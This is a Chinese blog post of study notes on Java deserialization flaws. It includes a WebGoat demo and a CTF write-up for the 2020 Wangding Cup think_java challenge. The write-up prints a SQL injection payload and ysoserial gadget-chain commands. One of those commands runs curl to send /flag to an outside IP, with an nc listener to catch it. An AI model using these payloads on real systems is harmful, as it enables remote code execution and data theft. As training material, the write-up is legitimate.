• Java反序列漏洞


     

    序列化:WriteObject

    反序列化:readObject()

    Jd-gui.exe 最简单的打开java文件方式

    Intellij idea 编辑工具

    演示案例:

    WebGoat_Javaweb靶场反序列化测试

    java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-master-30099844c6-1.jar ysoserial.GeneratePayload Hibernate1 calc.exe > payload.bin

    2020-网鼎杯-朱雀组-Web-think_java真题复现

     1 0x01 注入判断,获取管理员帐号密码:
     2 根据提示附件进行javaweb代码审计,发现可能存在注入漏洞
     3 另外有swagger开发接口,测试注入漏洞及访问接口进行调用测试
     4 数据库名:myapp,列名name,pwd
     5 注入测试:
     6 POST /common/test/sqlDict
     7 dbName=myapp?a=' union select (select pwd from user)#
     8  
     9 0x02 接口测试
    10 /swagger-ui.html接口测试:
    11 {
    12 "password":"ctfhub_29588_13038",
    13   "username": "ctfhub"
    14 }
    15 登录成功返回数据:
    16 {  
    17 "data": "Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABmN0Zmh1Yg==",  
    18 "msg": "登录成功",  
    19 "status": 2,  
    20 "timestamps": 1594549037415
    21 }
    22  
    23 0x03 回显数据分析攻击思路
    24 JAVAWEB特征可以作为序列化的标志参考:
    25 一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。
    26 或者如果以aced开头,那么他就是这一段java序列化的16进制。
    27  
    28 分析数据:
    29 先利用py2脚本base64解密数据
    30 import base64
    31 a = "rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu"
    32 b = base64.b64decode(a).encode('hex')
    33 print(b)
    34  
    35 再利用SerializationDumper解析数据
    36 java -jar SerializationDumper.jar base64后的数据
    37  
    38 0x04 生成反序列化payload
    39 解密后数据中包含帐号等信息,通过接口/common/user/current分析可知数据有接受,说明存在反序列化操作,思路:将恶意代码进行序列化后进行后续操作
    40 利用ysoserial进行序列化生成
    41 java -jar ysoserial-master-30099844c6-1.jar ROME "curl http://47.75.212.155:4444 -d @/flag" > xiaodi.bin
    42 利用py2脚本进行反序列化数据的提取
    43 import base64
    44 file = open("xiaodi.bin","rb")
    45 now = file.read()
    46 ba = base64.b64encode(now)
    47 print(ba)
    48 file.close()
    49  
    50 0x05 触发反序列化,获取flag
    51 服务器执行:nc -lvvp 4444
    52 数据包直接请求获取进行反序列数据加载操作

    涉及资源:

    https://github.com/frohoff/ysoserial/releases

    https://github.com/WebGoat/WebGoat/releases

    https://github.com/NickstaDB/SerializationDumper/releases/tag/1.12

    base64加密
    import base64
    c=open("payload.bin","rb").read()
    cc=base64.urlsafe_b64encode(c)
    open("payload.txt","wt",ecoding="utf-8").write(cc.decode())
     
  • 相关阅读:
    ie10 css3 transition 过渡
    asp.net之一步一个脚印
    MyEclipse安装aptana插件的问题(link方式)转
    MyEclipse的Aptana插件中配置ZenCoding成功
    PS CS6 安装错误:FATAL: Payload '{3F0238754A5246059DB6A88D4A813E8D} Camera Profiles Installer 6.0.98.0' information not found in Media_db.
    PC客户端的开发插件Eclipse RCP
    Silverlight获取焦点
    广而告知
    wpf窗体定位
    surface开发教程[ScatterView控件] 二.
  • 原文地址:https://www.cnblogs.com/trevain/p/13660307.html
Copyright © 2020-2023  润新知